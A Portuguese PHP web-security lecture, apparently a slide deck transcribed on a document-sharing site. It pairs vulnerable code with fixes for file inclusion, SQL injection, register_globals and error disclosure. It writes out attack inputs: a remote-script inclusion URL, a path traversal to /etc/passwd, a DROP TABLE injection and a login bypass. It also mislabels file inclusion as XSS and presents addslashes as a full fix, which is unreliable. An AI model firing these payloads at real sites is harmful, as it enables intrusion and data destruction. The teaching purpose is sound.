Prof. Roberto Franciscatto 4º Semestre - TSI - CAFW. Free Powerpoint Templates Page 1



Documentos relacionados
PHP Seguro Ernani Azevedo (PROCERGS DRE/ARS Unix)

Nomes: Questão 1 Vulnerabilidade: SQL Injection (Injeção de SQL):

Segurança em aplicações web: pequenas ideias, grandes resultados Prof. Alex Camargo

Desenvolvimento e disponibilização de Conteúdos para a Internet

Fonte: - Illustration by Gaich Muramatsu

Estável. Rápida. Simples. Poderosa. Bem documentada. Multi- plataforma. Extensivel.

Segurança em Sistemas Web. Addson A. Costa

XSS - CROSS-SITE SCRIPTING

Cláudio Borges sp.org

Tecnologias WEB Web 2.0

Conceitos de extensões Joomla!

Programação Orientada a Objetos com PHP & MySQL Cookies e Sessões. Prof. MSc. Hugo Souza

Linguagem de Programação III Aula 2 Revisão Parte II

Programação Web com PHP. Prof. Wylliams Barbosa Santos Optativa IV Projetos de Sistemas Web

Segurança na WEB Ambiente WEB estático

VULNERABILIDADES WEB v.2.2

AULA APLICAÇÕES PARA WEB SESSÕES E LOGIN E SENHA

Programação Web Prof. Wladimir

Manual Comunica S_Line

PHP & Segurança: Uma União Possível

Sumário. Capítulo 1 O que é o PHP? Capítulo 2 Instalação do PHP Capítulo 3 Noções básicas de programação... 25

Aplicação Prática de Lua para Web

PHP e MySQL Autenticação de Usuários

(In)Segurança em Aplicações Web. Marcelo Mendes Marinho Thiago Canozzo Lahr

Análise de Vulnerabilidades em Aplicações WEB

PHP (Seções, Cookies e Banco de Dados)

Programação Orientada a Objetos com PHP & MySQL Sistema Gerenciador de Banco de Dados: Introdução e configuração de bases de dados com Postgre e MySQL

Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Enginner

Boas Práticas de Desenvolvimento Seguro

Capítulo 5 Métodos de Defesa

Ameaças, riscos e vulnerabilidades Cont. Objetivos

UFSM COLÉGIO AGRÍCOLA DE FREDERICO WESTPHALEN CURSO SUPERIOR DE TECNOLOGIA EM SISTEMAS PARA INTERNET. Programação para Internet I

TCP/IP TCP UDP IP HTTP HTTPS FTP TFTP TELNET POP3 IMAP SMTP SNMP DHCP

Entendendo como funciona o NAT

PHP INTEGRAÇÃO COM MYSQL PARTE 2

SIMEC Sistema Integrado de Planejamento, Orçamento e Finanças

CONFIGURAÇÃO DE REDE SISTEMA IDEAGRI - FAQ CONCEITOS GERAIS

GERENCIADOR DE CORREIO ELETRÔNICO (V. 2 26/04/2010)

Desenvolvendo Websites com PHP

Omega Tecnologia Manual Omega Hosting

AULA 4 VISÃO BÁSICA DE CLASSES EM PHP

Entrar neste site/arquivo e estudar esse aplicativo Prof. Ricardo César de Carvalho

Programação WEB. Prof. André Gustavo Duarte de Almeida docente.ifrn.edu.br/andrealmeida. Aula III Introdução PHP

O atacante pode roubar a sessão de um usuário legítimo do sistema, que esteja previamente autenticado e realizar operações que o mesmo poderia.

Aula 03 - Projeto Java Web


Comm5 Tecnologia Manual de utilização da família MI. Manual de Utilização. Família MI

Documentação Symom. Agente de Monitoração na Plataforma Windows

Prof. Roberto Franciscatto 4º Semestre - TSI - CAFW. Free Powerpoint Templates Page 1

SSE 3.0 Guia Rápido Parametrizando o SISTEMA DE SECRETARIA Nesta Edição Configurando a Conexão com o Banco de Dados

MANUAL DE UTILIZAÇÃO Aplicativo Controle de Estoque Desktop

Aplicação web protegida

Manual do Painel Administrativo

Controle de acesso. .com.br

Protocolo. O que é um protocolo? Humano: que horas são? eu tenho uma pergunta

Iniciando o MySQL Query Brower

Manual Captura S_Line

4º Semestre. Aula 15 Serviços Internet (FTP)

Instalando o WordPress em localhost

Satélite. Manual de instalação e configuração. CENPECT Informática cenpect@cenpect.com.br

Escrito por Sáb, 15 de Outubro de :19 - Última atualização Seg, 26 de Março de :32

GERENCIADOR DE TRANSFERÊNCIA DE ARQUIVO (V. 3 17/03/2010)

EAI Manual do Administrador

Bool setcookie (string nome [, string valor [, int validade [, string caminho [, string dominio [, int seguro]]]]] )

Introdução ao PHP. Prof. Késsia Marchi

Manipulação de Dados em PHP (Visualizar, Inserir, Atualizar e Excluir) Parte 2

Docas do Pará - Guia de Instalação

Guia de instalação para ambiente de Desenvolvimento LINUX

Manual de Utilização do Zimbra

SAD Gestor Gerenciador de Backup

PHP Material de aula prof. Toninho (8º Ano)

MANUAL DO ADMINISTRADOR LOCAL. Entidade Municipal

TUTORIAL: MANTENDO O BANCO DE DADOS DE SEU SITE DENTRO DO DOMÍNIO DA USP USANDO O SSH!

Manual de Gerenciamento de Conteúdo

WHITE PAPER CERTIFICADOS SSL

Cap 03 - Camada de Aplicação Internet (Kurose)

Nome: n.º WEB Série 2B 2C 2D 2E Barueri, 17/08/2009 2ª Postagem Disciplina: Gerenciamento e Estrutura de Banco de Dados Professor: Márcio

Desenvolvendo Websites com PHP

Instalando servidor Apache

WebEDI - Tumelero Manual de Utilização

FCT Faculdade de Ciências e Tecnologia Serviço Técnico de Informática STI SGCD Sistema Gerenciador de Conteúdos Dinâmicos

Você pode testar se está tudo OK, abrindo um navegador no Debian Linux e acessando qualquer site.

Rotina de Discovery e Inventário

Segurança em Dispositivos Móveis. <Nome> <Instituição> < >

Lista de Erros Discador Dial-Up

1) MANUAL DO INTEGRADOR Este documento, destinado aos instaladores do sistema, com informações de configuração.

Programação para Internet I

3 SERVIÇOS IP. 3.1 Serviços IP e alguns aspectos de segurança

Personalizações do mysuite

Manual de Utilização do TOTVS Restore

Transcrição:

Segurança na Web Capítulo 9: Segurança em Aplicações Web Prof. Roberto Franciscatto 4º Semestre - TSI - CAFW Page 1

Introdução Quando se fala em segurança na WEB é preciso pensar inicialmente em duas frentes: Aplicações Web (Sites, portais,...) Desenvolvimento seguro Servidor da aplicação Administrador de serviços de hospedagem Servidor web seguro Page 2

Introdução Existem diversas vulnerabilidades conhecidas, a sua grande maioria é de domínio público, facilmente encontradas na Internet. Muitos sites possuem material que ensinam como explorar estas falhas. O próprio google é uma fonte rica de informações que vão além de uma simples busca... Page 3

Vulnerabilidades Cross Site Scripting (XSS) Permite ao atacante executar scripts no navegador da vítima (roubar sessões, executar arquivos,...) Falhas de Injeção (SQL Injection) Manipulação/inserção de código sql, com inuitio de enganar o interpretador Execução maliciosa de arquivos Códigos vulneráveis a inclusão remota de arquivos (RFI) Page 4

Vulnerabilidades Referência insegura direta a objetos Expor a referência a um objeto implementado internamente (arquivos, diretórios, chaves,...) Cross Site Request Forgery (CSRF) execução de ações maliciosas em prol do atacante (comprometimento aplicação e servidor) Vazamento de informações e tratamento de erros inapropriado tratamento de erros de forma inapropriada Page 5

Vulnerabilidades Autenticação falha e Gerenciamento de Sessão Assumir a identidade de outros usuários Armazenamento criptográfico inseguro roubo na utilização inapropriada de métodos criptográficos Comunicações inseguras redes sem criptografia no comunicação cliente/servidor Falha de Restrição de acesso à URL Acesso direto a URLs e manipulação das mesmas Page 6

Vulnerabilidades (TOP 10) Page 7

Page 8

Cross-site Scripting; SQL Injection; Inclusão de valores em variáveis internas; Exposição de informações do servidor (mensagens de erro); Exposição de arquivos do sistema e outros do servidor; Execução de programas no servidor. Page 9

Existem diversas outras regras e funções que devem ser desabilitadas em servidores para uma maior segurança. Page 10

Cross Site Scripting PHP pode aceitar URLs via URL Wrapper. Deve ser desabilitada por padrão Uma das piores brechas de segurança que um código PHP pode possuir. Page 11

Cross Site Scripting Possibilita que qualquer um, remotamente, possa ler quaisquer arquivos do sistema que o processo do servidor web tenha permissão. além de poder executar qualquer script PHP no servidor onde o código esta hospedado. Page 12

Exemplo: Cross Site Scripting <?php // Inclui o cabeçalho da página: include ( cabecalho.php ); // Inclui a página requisitada: include ( $pagina); // Inclui o rodapé da página: include ( rodape.php );?> //codigo1.php Page 13

Exemplo: Cross Site Scripting Externamente, pode-se explorar este código de diversas formas. Uma delas, com a opção de URL Wrapper habilitada no servidor, é possível que seja executado código externo ao servidor como se fosse local. Page 14

Exemplo: Cross Site Scripting Para isto, basta acessar o código da seguinte forma: http://www.seusite.com.br/codigo1.php?pagina=http://www.i nseguro.com.br/cod_externo.txt Page 15

Exemplo: Cross Site Scripting Outra vulnerabilidade associada a utilização deste comando como descrito acima (mesmo com o URL Wrapper desabilitado) é a leitura de qualquer arquivo que o servidor tenha permissão de leitura. Page 16

Exemplo: Cross Site Scripting Por exemplo, o arquivo de senhas de um servidor Unix pode ser lido da seguinte forma: http://www.seusite.com.br/codigo1.php?pagina=../../../../../../etc/passwd Page 17

Exemplo: Cross Site Scripting Esta vulnerabilidade pode ser facilmente corrigida utilizando o comando basename() na variável, reescrevendo o código para: <?php // Inclui o cabeçalho da página: include ( cabecalho.php ); // Inclui a página requisitada: include ( basename ( $pagina)); // Inclui o rodapé da página: include ( rodape.php );?> //codigo2.php Page 18

Exemplo: Cross Site Scripting Outra conseqüência deste comando é a de que mesmo restringindo-se para que não seja passado nenhum parâmetro com diretório, ainda permite a visualização/execução de scripts e arquivos textos do diretório atual. Page 19

Exemplo: Cross Site Scripting A forma mais correta e segura de se utilizar um include de arquivos para uma determinada variável é utilizando o comando switch(). Page 20

Exemplo: Cross Site Scripting <?php // Inclui o cabeçalho da página: include ( cabecalho.php ); // Inclui a página requisitada: switch ( $pagina) { case inicial : include inicial.php ; break; case contato : include contato.php ; break; case clientes : include clientes.php ; break; default: echo A página requisitada não pode ser encontrada. ; break; } // Inclui o rodapé da pagina: include ( rodape.php );?> //codigo3.php Page 21

Exemplo: Cross Site Scripting A desativação da funcionalidade de URL Wrapper no PHP atinge diversos comandos, ou todos que aceitem um nome de arquivo como parâmetro para processá-los. Entre estes, estão: include(), include_once(), require(), require_once(), fopen(), readfile(), file(), file_get_contents(), Page 22

SQL Injection Afeta praticamente todas as linguagens de programação que acessam banco de dados Esta vulnerabilidade, permite que um usuário que acesse um código que contenha uma requisição a um banco de dados SQL, insira quaisquer comando nesta requisição. Page 23

Exemplo: SQL Injection // Verifica autenticação do usuário: if (! $result = @mysql_query ( SELECT * FROM usuarios WHERE USER = '$usuario' AND PASS = '$senha', $ID)) { die ( Erro: Não foi possível realizar a pesquisa no banco de dados. ); } //codigo5.php Page 24

Exemplo: SQL Injection Através do código acima, podemos explorar o mesmo de diversas maneiras. Como por exemplo: http://www.seusite.com.br/codigo5.php?usuario=admin'; Page 25

Exemplo: SQL Injection Isto fará com que a string de requisição ao banco de dados seja alterada para: SELECT * FROM usuarios WHERE USER = 'admin';' AND PASS = Pode-se realizar outras requisições, inclusive destrutivas na base de dados, como por exemplo: http://www.seusite.com.br/codigo5.php?usuario=';drop TABLE usuarios; Page 26

Exemplo: SQL Injection Solução??? Utilizar a função addslashes() Alguns servidores PHP já possuem métodos que se aplicam a tradução de caracteres vulneráveis a SQL Injection ou criar uma função em PHP, para verificar isso... Page 27

Exemplo: SQL Injection <?php // Adicionamos uma função para verificar se o servidor // executou addslashes() de forma // transparente, senão executamos: function checkslashes ( $valor) { if (! get_magic_quotes_gpc ()) { return addslashes ( $valor); } else { return $valor; } }?> //função para verificar addslashes - codigo6.php Page 28

Exemplo: SQL Injection // Verifica autenticação do usuário: if (! $result = @mysql_query ( SELECT * FROM usuarios WHERE USER = '. checkslashes ( $usuario). ' AND PASS = '. checkslashes ( $senha). ', $ID)) { die ( Erro: Não foi possível realizar a pesquisa no banco de dados. ); } //código sem vulnerabilidade de SQL Injection - codigo7.php Page 29

Inclusão de valores em variáveis internas Uma vulnerabilidade pouco explorada, porém com um grande potencial Esta vulnerabilidade consiste: na inclusão de uma variável com um valor determinado pelo cliente, fazendo com que o sistema quando utilize esta variável assuma o valor informado pelo mesmo. Page 30

<?php if ( $usuario == teste && $senha == senhateste ) { $autenticado = true; } if ( $autenticado) { switch ( $acao) { case exclui : exclui_usuario (); break; case adiciona : adiciona_usuario (); break; default: echo Erro: Comando desconhecido. ; break; } }?> //codigo vulnerável a valores externos - codigo8.php Page 31

Inclusão de valores em variáveis internas Podemos burlar a autenticação acima utilizando: http://www.seusite.com.br/codigo8.php?autenticado=1 Page 32

Inclusão de valores em variáveis internas A melhor solução para este caso é se desabilitar a funcionalidade de register_globals do servidor, e acessar as informações de variáveis enviadas por clientes de uma forma segura. Podemos verificar esta opção com o comando ini_get ( register_globals ), como segue o exemplo: Page 33

Inclusão de valores em variáveis internas <?php // Verifica se a funcionabilidade register_globals está //desabilitada (mais seguro): if ( ini_get ( register_globals ) == true) { die ( Erro: Este script não pode ser executado de forma insegura. Desative a funcionalidade 'register_globals' no servidor. ); } //código segura a valores externos codigo9.php Page 34

Exposição de informações do servidor - (mensagens de erro) Diversas informações sobre os scripts e sobre a estrutura na qual foi configurado o servidor podem ser visualizadas através de simples mensagens de erro, fornecendo informações importantes para um indivíduo que está tentando explorar alguma vulnerabilidade. Além das mensagens de erro estarem em inglês, elas podem deixar o site com uma aparência amadora, por não tratar os seus erros. Page 35

Exposição de informações do servidor - (mensagens de erro) Você pode utilizar o operador @ (arroba) antes dos comandos, para evitar que caso o mesmo retorne um erro, este seja apresentado ao cliente. Segue um exemplo de código mostrando erro: <?php $id = mysql_connect ( localhost, usuarioinvalido, senha );?> //codigo sem tratamento de erros codigo10.php Page 36

Exposição de informações do servidor - (mensagens de erro) O código acima, contendo um usuário inválido, retornaria a seguinte mensagem de erro: Warning: mysql_connect(): Can't connect to local MySQL server through socket '/var/run/mysql.sock' (2) in /srv/http/www.seudominio.com.br/htdocs/codigo10.php on line 2 Este erro, além de ser ilegível para um usuário leigo, disponibiliza informações sobre a área onde o script está sendo hospedado no servidor, assim como estrutura interna do mesmo. Page 37

Exposição de informações do servidor - (mensagens de erro) Podemos utilizar de forma simples, rápida e limpa o mesmo código: <?php if (! $id = @mysql_connect ( localhost, usuarioinvalido, senha )) { } die ( Desculpe-nos, ocorreu um erro interno no sistema. Tente novamente mais tarde. Se o problema persistir, entre em contato com o administrador do sistema. );?> //código com tratamento de erro código 11 Page 38

Exposição de arquivos do sistema e outros do servidor Outra vulnerabilidade que comumente é esquecida pelos administradores dos servidores de hospedagem é o fato de que o PHP pode visualizar todos os arquivos do sistema incluindo arquivos de configuração, senhas, scripts de outros clientes, etc... Page 39

Exposição de arquivos do sistema e outros do servidor Esta vulnerabilidade pode e deve ser bloqueada para cada domínio hospedado no servidor pelos administradores. Os domínios devem ter acesso somente aos seus arquivos. Esta configuração evita que, mesmo quando houver a possibilidade de haver um script contendo vulnerabilidade de Cross-site scripting ou existir uma pessoa mal intencionada com acesso FTP a área de hospedagem, sejam expostos os arquivos do sistema. Page 40

Execução de programas no servidor Deve-se também desabilitar nos servidores PHP diversas funções. As funções que devem ser desabilitadas sao: exec(), passthru(), popen(), pclose(), proc_close(), proc_get_status(), proc_nice(), proc_open(), proc_terminate(), shell_exec(), system() e phpinfo(). Deve-se também desabilitar as seguintes classes de comandos: sysvshm, sysvsem, sockets, shmop, qtdom, posix, dio, crack. Page 41

Maior Portabilidade Utilizando as variáveis padrões, obtemos uma maior portabilidade do sistema desenvolvido: Algumas variáveis importantes são: $_SERVER[ PHP_SELF ]: Url do script que foi executado. $_SERVER[ DOCUMENT_ROOT ]: Retorna o diretório raiz da sua área de hospedagem; $_SERVER[ REMOTE_ADDR ]: IP do cliente que requisitou a página; $_SERVER[ REMOTE_HOST ]: Endereço do cliente que requisitou a Free página; Powerpoint Templates Page 42

Maior Portabilidade Sempre desenvolva utilizando $_REQUEST, $_GET, $_POST, $_COOKIE, pois estas são padrão em qualquer sistema. E quando você portar seu código para um servidor seguro, o mesmo não irá necessitar de grandes alterações. Page 43

Exercício No ambiente Linux: Instalar o IDS PHP http://www.howtoforge.com/intrusion-detection-for-php-applications-withphpids Configurar o mesmo Testar suas funcionalidades, simulando três ataques diferentes vistos em sala da aula Page 44